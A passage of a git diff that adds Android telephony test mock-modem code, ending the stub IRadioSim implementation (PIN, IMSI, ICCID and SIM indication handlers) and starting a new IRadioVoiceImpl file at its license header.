+                                Log.i(TAG, "number of SIM app data: " + mSimAppList.size());
+                            } else {
+                                Log.e(TAG, "mSimAppList = null");
+                            }
+                        } else {
+                            Log.e(TAG, msg.what + " failure. Exception: " + ar.exception);
+                        }
+                        break;
+
+                    case EVENT_SIM_INFO_CHANGED:
+                        ar = (AsyncResult) msg.obj;
+                        if (ar != null && ar.exception == null) {
+                            SimInfoChangedResult simInfoChangeResult =
+                                    (SimInfoChangedResult) ar.result;
+                            Log.d(TAG, "Received EVENT_SIM_INFO_CHANGED: " + simInfoChangeResult);
+                            SimRefreshResult simRefreshResult = new SimRefreshResult();
+                            switch (simInfoChangeResult.mSimInfoType) {
+                                case SimInfoChangedResult.SIM_INFO_TYPE_MCC_MNC:
+                                case SimInfoChangedResult.SIM_INFO_TYPE_IMSI:
+                                    if (simRefreshResult != null) {
+                                        simRefreshResult.type =
+                                                SimRefreshResult.TYPE_SIM_FILE_UPDATE;
+                                        simRefreshResult.efId = simInfoChangeResult.mEfId;
+                                        simRefreshResult.aid = simInfoChangeResult.mAid;
+                                        simRefresh(simRefreshResult);
+                                    }
+                                    break;
+                            }
+                        } else {
+                            Log.e(TAG, msg.what + " failure. Exception: " + ar.exception);
+                        }
+                        break;
+                }
+            }
+        }
+    }
+
+    // Implementation of IRadioSim functions
+    @Override
+    public void setResponseFunctions(
+            IRadioSimResponse radioSimResponse, IRadioSimIndication radioSimIndication) {
+        Log.d(TAG, "setResponseFunctions");
+        mRadioSimResponse = radioSimResponse;
+        mRadioSimIndication = radioSimIndication;
+        mService.countDownLatch(MockModemService.LATCH_RADIO_INTERFACES_READY);
+    }
+
+    @Override
+    public void responseAcknowledgement() {
+        Log.d(TAG, "responseAcknowledgement");
+        // TODO
+        // acknowledgeRequest(in int serial);
+    }
+
+    @Override
+    public void areUiccApplicationsEnabled(int serial) {
+        Log.d(TAG, "areUiccApplicationsEnabled");
+
+        boolean enabled = true;
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioSimResponse.areUiccApplicationsEnabledResponse(rsp, enabled);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to areUiccApplicationsEnabled from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void changeIccPin2ForApp(int serial, String oldPin2, String newPin2, String aid) {
+        Log.d(TAG, "changeIccPin2ForApp");
+        // TODO: cache value
+
+        int remainingRetries = 3;
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioSimResponse.changeIccPin2ForAppResponse(rsp, remainingRetries);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to changeIccPin2ForApp from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void changeIccPinForApp(int serial, String oldPin, String newPin, String aid) {
+        Log.d(TAG, "changeIccPinForApp");
+        // TODO: cache value
+
+        int remainingRetries = 3;
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioSimResponse.changeIccPinForAppResponse(rsp, remainingRetries);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to changeIccPinForApp from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void enableUiccApplications(int serial, boolean enable) {
+        Log.d(TAG, "enableUiccApplications");
+        // TODO: cache value
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioSimResponse.enableUiccApplicationsResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to enableUiccApplications from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getAllowedCarriers(int serial) {
+        Log.d(TAG, "getAllowedCarriers");
+
+        android.hardware.radio.sim.CarrierRestrictions carriers =
+                new android.hardware.radio.sim.CarrierRestrictions();
+        int multiSimPolicy = android.hardware.radio.sim.SimLockMultiSimPolicy.NO_MULTISIM_POLICY;
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioSimResponse.getAllowedCarriersResponse(rsp, carriers, multiSimPolicy);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getAllowedCarriers from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getCdmaSubscription(int serial) {
+        Log.d(TAG, "getCdmaSubscription");
+
+        String mdn = "";
+        String hSid = "";
+        String hNid = "";
+        String min = "";
+        String prl = "";
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioSimResponse.getCdmaSubscriptionResponse(rsp, mdn, hSid, hNid, min, prl);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getCdmaSubscription from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getCdmaSubscriptionSource(int serial) {
+        Log.d(TAG, "getCdmaSubscriptionSource");
+
+        int source = 0; // CdmaSubscriptionSource.RUIM_SIM
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioSimResponse.getCdmaSubscriptionSourceResponse(rsp, source);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getCdmaSubscriptionSource from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getFacilityLockForApp(
+            int serial, String facility, String password, int serviceClass, String appId) {
+        Log.d(TAG, "getFacilityLockForApp");
+        int numOfSimApp = mSimAppList.size();
+        int responseError = RadioError.NONE;
+        int simAppIdx;
+        boolean isHandled = false;
+        boolean isFacilitySupport = true;
+        int responseData = -1;
+
+        synchronized (mCacheUpdateMutex) {
+            // TODO: check service class
+            for (simAppIdx = 0;
+                    simAppIdx < numOfSimApp && isFacilitySupport && !isHandled;
+                    simAppIdx++) {
+                switch (facility) {
+                    case "FD": // FDN status query
+                        if (appId.equals(mSimAppList.get(simAppIdx).getAid())) {
+                            responseData = mSimAppList.get(simAppIdx).getFdnStatus();
+                            isHandled = true;
+                        }
+                        break;
+                    case "SC": // PIN1 status query
+                        if (appId.equals(mSimAppList.get(simAppIdx).getAid())) {
+                            responseData = mSimAppList.get(simAppIdx).getPin1State();
+                            isHandled = true;
+                        }
+                        break;
+                    default:
+                        isFacilitySupport = false;
+                        break;
+                }
+            }
+        }
+
+        if (!isHandled) {
+            Log.e(TAG, "Not support sim application aid = " + appId);
+            responseError = RadioError.NO_SUCH_ELEMENT;
+        } else if (!isFacilitySupport) {
+            Log.e(TAG, "Not support facility = " + facility);
+            responseError = RadioError.REQUEST_NOT_SUPPORTED;
+        } else if (responseData == -1) {
+            responseError = RadioError.INTERNAL_ERR;
+        }
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, responseError);
+        try {
+            mRadioSimResponse.getFacilityLockForAppResponse(rsp, responseData);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getFacilityLockForApp from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getIccCardStatus(int serial) {
+        Log.d(TAG, "getIccCardStatus");
+        CardStatus cardStatus;
+
+        synchronized (mCacheUpdateMutex) {
+            cardStatus = mCardStatus;
+        }
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial);
+        try {
+            mRadioSimResponse.getIccCardStatusResponse(rsp, cardStatus);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getIccCardStatus from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getImsiForApp(int serial, String aid) {
+        Log.d(TAG, "getImsiForApp");
+        String imsi = "";
+        int numOfSimApp = mSimAppList.size();
+        int responseError = RadioError.NONE;
+        int simAppIdx;
+        boolean isHandled;
+
+        synchronized (mCacheUpdateMutex) {
+            for (simAppIdx = 0, isHandled = false;
+                    simAppIdx < numOfSimApp && !isHandled;
+                    simAppIdx++) {
+                if (aid.equals(mSimAppList.get(simAppIdx).getAid())) {
+                    imsi = mSimAppList.get(simAppIdx).getImsi();
+                    isHandled = true;
+                }
+            }
+        }
+
+        if (!isHandled) {
+            Log.e(TAG, "Not support sim application aid = " + aid);
+            responseError = RadioError.NO_SUCH_ELEMENT;
+        }
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, responseError);
+        try {
+            mRadioSimResponse.getImsiForAppResponse(rsp, imsi);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getImsiForApp from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getSimPhonebookCapacity(int serial) {
+        Log.d(TAG, "getSimPhonebookCapacity");
+
+        android.hardware.radio.sim.PhonebookCapacity capacity =
+                new android.hardware.radio.sim.PhonebookCapacity();
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioSimResponse.getSimPhonebookCapacityResponse(rsp, capacity);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getSimPhonebookCapacity from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getSimPhonebookRecords(int serial) {
+        Log.d(TAG, "getSimPhonebookRecords");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioSimResponse.getSimPhonebookRecordsResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getSimPhonebookRecords from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void iccCloseLogicalChannel(int serial, int channelId) {
+        Log.d(TAG, "iccCloseLogicalChannel");
+        // TODO: cache value
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioSimResponse.iccCloseLogicalChannelResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to iccCloseLogicalChannel from AIDL. Exception" + ex);
+        }
+    }
+
+    private String encodeBcdString(String str) {
+        StringBuffer bcdString = new StringBuffer();
+
+        if (str.length() % 2 != 0) {
+            Log.d(TAG, "Invalid string(" + str + ") for Bcd format");
+            return "";
+        }
+
+        for (int i = 0; i < str.length(); i += 2) {
+            bcdString.append(str.substring(i + 1, i + 2));
+            bcdString.append(str.substring(i, i + 1));
+        }
+
+        return bcdString.toString();
+    }
+
+    private int getIccIoResult(
+            android.hardware.radio.sim.IccIoResult iccIoResult,
+            int command,
+            int fileId,
+            String path,
+            int p1,
+            int p2,
+            int p3,
+            String aid) {
+        int numOfSimApp = mSimAppList.size();
+        int simAppIdx;
+        boolean foundAid;
+        int responseError = RadioError.GENERIC_FAILURE;
+
+        if (iccIoResult == null) {
+            return responseError;
+        }
+
+        synchronized (mCacheUpdateMutex) {
+            for (simAppIdx = 0, foundAid = false; simAppIdx < numOfSimApp; simAppIdx++) {
+                if (aid.equals(mSimAppList.get(simAppIdx).getAid())) {
+                    foundAid = true;
+                    break;
+                }
+            }
+
+            if (!foundAid) {
+                Log.e(TAG, "Not support sim application aid = " + aid);
+                iccIoResult.sw1 = 0x6A;
+                iccIoResult.sw2 = 0x82;
+            } else {
+                switch (fileId) {
+                    case EF_ICCID:
+                        if (command == COMMAND_READ_BINARY) {
+                            String bcdIccid =
+                                    encodeBcdString(mSimAppList.get(simAppIdx).getIccid());
+                            iccIoResult.simResponse = bcdIccid;
+                            Log.d(TAG, "Get IccIo result: ICCID = " + iccIoResult.simResponse);
+                            iccIoResult.sw1 = 0x90;
+                            responseError = RadioError.NONE;
+                        } else if (command == COMMAND_GET_RESPONSE) {
+                            iccIoResult.simResponse = mSimAppList.get(simAppIdx).getIccidInfo();
+                            Log.d(TAG, "Get IccIo result: ICCID = " + iccIoResult.simResponse);
+                            iccIoResult.sw1 = 0x90;
+                            responseError = RadioError.NONE;
+                        } else {
+                            Log.d(
+                                    TAG,
+                                    "Command("
+                                            + command
+                                            + ") not support for file id = 0x"
+                                            + Integer.toHexString(fileId));
+                            iccIoResult.sw1 = 0x6A;
+                            iccIoResult.sw2 = 0x82;
+                        }
+                        break;
+                    default:
+                        Log.d(TAG, "Not find EF file id = 0x" + Integer.toHexString(fileId));
+                        iccIoResult.sw1 = 0x6A;
+                        iccIoResult.sw2 = 0x82;
+                        break;
+                }
+            }
+        }
+
+        return responseError;
+    }
+
+    @Override
+    public void iccIoForApp(int serial, android.hardware.radio.sim.IccIo iccIo) {
+        Log.d(TAG, "iccIoForApp");
+        int responseError = RadioError.NONE;
+        android.hardware.radio.sim.IccIoResult iccIoResult =
+                new android.hardware.radio.sim.IccIoResult();
+
+        switch (iccIo.command) {
+            case COMMAND_READ_BINARY:
+            case COMMAND_GET_RESPONSE:
+                responseError =
+                        getIccIoResult(
+                                iccIoResult,
+                                iccIo.command,
+                                iccIo.fileId,
+                                iccIo.path,
+                                iccIo.p1,
+                                iccIo.p2,
+                                iccIo.p3,
+                                iccIo.aid);
+                break;
+            default:
+                responseError = RadioError.REQUEST_NOT_SUPPORTED;
+                break;
+        }
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, responseError);
+        try {
+            mRadioSimResponse.iccIoForAppResponse(rsp, iccIoResult);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to iccIoForApp from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void iccOpenLogicalChannel(int serial, String aid, int p2) {
+        Log.d(TAG, "iccOpenLogicalChannel");
+        // TODO: cache value
+        int channelId = 0;
+        byte[] selectResponse = new byte[0];
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioSimResponse.iccOpenLogicalChannelResponse(rsp, channelId, selectResponse);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to iccOpenLogicalChannel from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void iccTransmitApduBasicChannel(
+            int serial, android.hardware.radio.sim.SimApdu message) {
+        Log.d(TAG, "iccTransmitApduBasicChannel");
+        // TODO: cache value
+        android.hardware.radio.sim.IccIoResult iccIoResult =
+                new android.hardware.radio.sim.IccIoResult();
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioSimResponse.iccTransmitApduBasicChannelResponse(rsp, iccIoResult);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to iccTransmitApduBasicChannel from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void iccTransmitApduLogicalChannel(
+            int serial, android.hardware.radio.sim.SimApdu message) {
+        Log.d(TAG, "iccTransmitApduLogicalChannel");
+        // TODO: cache value
+        android.hardware.radio.sim.IccIoResult iccIoResult =
+                new android.hardware.radio.sim.IccIoResult();
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioSimResponse.iccTransmitApduBasicChannelResponse(rsp, iccIoResult);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to iccTransmitApduLogicalChannel from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void reportStkServiceIsRunning(int serial) {
+        Log.d(TAG, "reportStkServiceIsRunning");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioSimResponse.reportStkServiceIsRunningResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to reportStkServiceIsRunning from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void requestIccSimAuthentication(
+            int serial, int authContext, String authData, String aid) {
+        Log.d(TAG, "requestIccSimAuthentication");
+        // TODO: cache value
+        android.hardware.radio.sim.IccIoResult iccIoResult =
+                new android.hardware.radio.sim.IccIoResult();
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioSimResponse.requestIccSimAuthenticationResponse(rsp, iccIoResult);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to requestIccSimAuthentication from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void sendEnvelope(int serial, String contents) {
+        Log.d(TAG, "sendEnvelope");
+        // TODO: cache value
+        String commandResponse = "";
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioSimResponse.sendEnvelopeResponse(rsp, commandResponse);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to sendEnvelope from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void sendEnvelopeWithStatus(int serial, String contents) {
+        Log.d(TAG, "sendEnvelopeWithStatus");
+        // TODO: cache value
+        android.hardware.radio.sim.IccIoResult iccIoResult =
+                new android.hardware.radio.sim.IccIoResult();
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioSimResponse.sendEnvelopeWithStatusResponse(rsp, iccIoResult);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to sendEnvelopeWithStatus from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void sendTerminalResponseToSim(int serial, String contents) {
+        Log.d(TAG, "sendTerminalResponseToSim");
+        // TODO: cache value
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioSimResponse.sendTerminalResponseToSimResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to sendTerminalResponseToSim from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setAllowedCarriers(
+            int serial,
+            android.hardware.radio.sim.CarrierRestrictions carriers,
+            int multiSimPolicy) {
+        Log.d(TAG, "sendTerminalResponseToSim");
+        // TODO: cache value
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioSimResponse.setAllowedCarriersResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setAllowedCarriers from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setCarrierInfoForImsiEncryption(
+            int serial, android.hardware.radio.sim.ImsiEncryptionInfo imsiEncryptionInfo) {
+        Log.d(TAG, "setCarrierInfoForImsiEncryption");
+        // TODO: cache value
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioSimResponse.setCarrierInfoForImsiEncryptionResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setCarrierInfoForImsiEncryption from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setCdmaSubscriptionSource(int serial, int cdmaSub) {
+        Log.d(TAG, "setCdmaSubscriptionSource");
+        // TODO: cache value
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioSimResponse.setCdmaSubscriptionSourceResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setCdmaSubscriptionSource from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setFacilityLockForApp(
+            int serial,
+            String facility,
+            boolean lockState,
+            String password,
+            int serviceClass,
+            String appId) {
+        Log.d(TAG, "setFacilityLockForApp");
+        // TODO: cache value
+        int retry = 10;
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioSimResponse.setFacilityLockForAppResponse(rsp, retry);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setFacilityLockForApp from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setSimCardPower(int serial, int powerUp) {
+        Log.d(TAG, "setSimCardPower");
+        // TODO: cache value
+        int retry = 10;
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioSimResponse.setSimCardPowerResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setSimCardPower from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setUiccSubscription(int serial, android.hardware.radio.sim.SelectUiccSub uiccSub) {
+        Log.d(TAG, "setUiccSubscription");
+        // TODO: cache value
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioSimResponse.setUiccSubscriptionResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setUiccSubscription from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void supplyIccPin2ForApp(int serial, String pin2, String aid) {
+        Log.d(TAG, "supplyIccPin2ForApp");
+        // TODO: cache value
+        int setFacilityLockForApp = 10;
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioSimResponse.supplyIccPin2ForAppResponse(rsp, setFacilityLockForApp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to supplyIccPin2ForApp from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void supplyIccPinForApp(int serial, String pin, String aid) {
+        Log.d(TAG, "supplyIccPinForApp");
+        // TODO: cache value
+        int setFacilityLockForApp = 10;
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioSimResponse.supplyIccPinForAppResponse(rsp, setFacilityLockForApp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to supplyIccPinForApp from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void supplyIccPuk2ForApp(int serial, String puk2, String pin2, String aid) {
+        Log.d(TAG, "supplyIccPuk2ForApp");
+        // TODO: cache value
+        int setFacilityLockForApp = 10;
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioSimResponse.supplyIccPuk2ForAppResponse(rsp, setFacilityLockForApp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to supplyIccPuk2ForApp from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void supplyIccPukForApp(int serial, String puk, String pin, String aid) {
+        Log.d(TAG, "supplyIccPukForApp");
+        // TODO: cache value
+        int setFacilityLockForApp = 10;
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioSimResponse.supplyIccPukForAppResponse(rsp, setFacilityLockForApp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to supplyIccPukForApp from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void supplySimDepersonalization(int serial, int persoType, String controlKey) {
+        Log.d(TAG, "supplySimDepersonalization");
+        // TODO: cache value
+        int retPersoType = persoType;
+        int setFacilityLockForApp = 10;
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioSimResponse.supplySimDepersonalizationResponse(
+                    rsp, retPersoType, setFacilityLockForApp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to supplySimDepersonalization from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void updateSimPhonebookRecords(
+            int serial, android.hardware.radio.sim.PhonebookRecordInfo recordInfo) {
+        Log.d(TAG, "updateSimPhonebookRecords");
+        // TODO: cache value
+        int updatedRecordIndex = 0;
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioSimResponse.updateSimPhonebookRecordsResponse(rsp, updatedRecordIndex);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to updateSimPhonebookRecords from AIDL. Exception" + ex);
+        }
+    }
+
+    public void carrierInfoForImsiEncryption() {
+        Log.d(TAG, "carrierInfoForImsiEncryption");
+
+        if (mRadioSimIndication != null) {
+            try {
+                mRadioSimIndication.carrierInfoForImsiEncryption(RadioIndicationType.UNSOLICITED);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to carrierInfoForImsiEncryption from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioSimIndication");
+        }
+    }
+
+    public void cdmaSubscriptionSourceChanged(int cdmaSource) {
+        Log.d(TAG, "carrierInfoForImsiEncryption");
+
+        if (mRadioSimIndication != null) {
+            try {
+                mRadioSimIndication.cdmaSubscriptionSourceChanged(
+                        RadioIndicationType.UNSOLICITED, cdmaSource);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to cdmaSubscriptionSourceChanged from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioSimIndication");
+        }
+    }
+
+    public void simPhonebookChanged() {
+        Log.d(TAG, "simPhonebookChanged");
+
+        if (mRadioSimIndication != null) {
+            try {
+                mRadioSimIndication.simPhonebookChanged(RadioIndicationType.UNSOLICITED);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to simPhonebookChanged from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioSimIndication");
+        }
+    }
+
+    public void simPhonebookRecordsReceived(
+            byte status, android.hardware.radio.sim.PhonebookRecordInfo[] records) {
+        Log.d(TAG, "simPhonebookRecordsReceived");
+
+        if (mRadioSimIndication != null) {
+            try {
+                mRadioSimIndication.simPhonebookRecordsReceived(
+                        RadioIndicationType.UNSOLICITED, status, records);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to simPhonebookRecordsReceived from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioSimIndication");
+        }
+    }
+
+    public void simRefresh(SimRefreshResult refreshResult) {
+        Log.d(TAG, "simRefresh");
+
+        if (mRadioSimIndication != null) {
+            try {
+                mRadioSimIndication.simRefresh(RadioIndicationType.UNSOLICITED, refreshResult);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to simRefresh from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioSimIndication");
+        }
+    }
+
+    public void simStatusChanged() {
+        Log.d(TAG, "simStatusChanged");
+
+        if (mRadioSimIndication != null) {
+            try {
+                mRadioSimIndication.simStatusChanged(RadioIndicationType.UNSOLICITED);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to simStatusChanged from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioSimIndication");
+        }
+    }
+
+    public void stkEventNotify(String cmd) {
+        Log.d(TAG, "stkEventNotify");
+
+        if (mRadioSimIndication != null) {
+            try {
+                mRadioSimIndication.stkEventNotify(RadioIndicationType.UNSOLICITED, cmd);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to stkEventNotify from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioSimIndication");
+        }
+    }
+
+    public void stkProactiveCommand(String cmd) {
+        Log.d(TAG, "stkProactiveCommand");
+
+        if (mRadioSimIndication != null) {
+            try {
+                mRadioSimIndication.stkProactiveCommand(RadioIndicationType.UNSOLICITED, cmd);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to stkProactiveCommand from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioSimIndication");
+        }
+    }
+
+    public void stkSessionEnd() {
+        Log.d(TAG, "stkSessionEnd");
+
+        if (mRadioSimIndication != null) {
+            try {
+                mRadioSimIndication.stkSessionEnd(RadioIndicationType.UNSOLICITED);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to stkSessionEnd from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioSimIndication");
+        }
+    }
+
+    public void subscriptionStatusChanged(boolean activate) {
+        Log.d(TAG, "subscriptionStatusChanged");
+
+        if (mRadioSimIndication != null) {
+            try {
+                mRadioSimIndication.subscriptionStatusChanged(
+                        RadioIndicationType.UNSOLICITED, activate);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to subscriptionStatusChanged from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioSimIndication");
+        }
+    }
+
+    public void uiccApplicationsEnablementChanged(boolean enabled) {
+        Log.d(TAG, "uiccApplicationsEnablementChanged");
+
+        if (mRadioSimIndication != null) {
+            try {
+                mRadioSimIndication.uiccApplicationsEnablementChanged(
+                        RadioIndicationType.UNSOLICITED, enabled);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to uiccApplicationsEnablementChanged from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioSimIndication");
+        }
+    }
+
+    @Override
+    public String getInterfaceHash() {
+        return IRadioSim.HASH;
+    }
+
+    @Override
+    public int getInterfaceVersion() {
+        return IRadioSim.VERSION;
+    }
+}
diff --git a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioVoiceImpl.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioVoiceImpl.java
new file mode 100644
index 0000000..1b525fd
--- /dev/null
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioVoiceImpl.java
@@ -0,0 +1,762 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
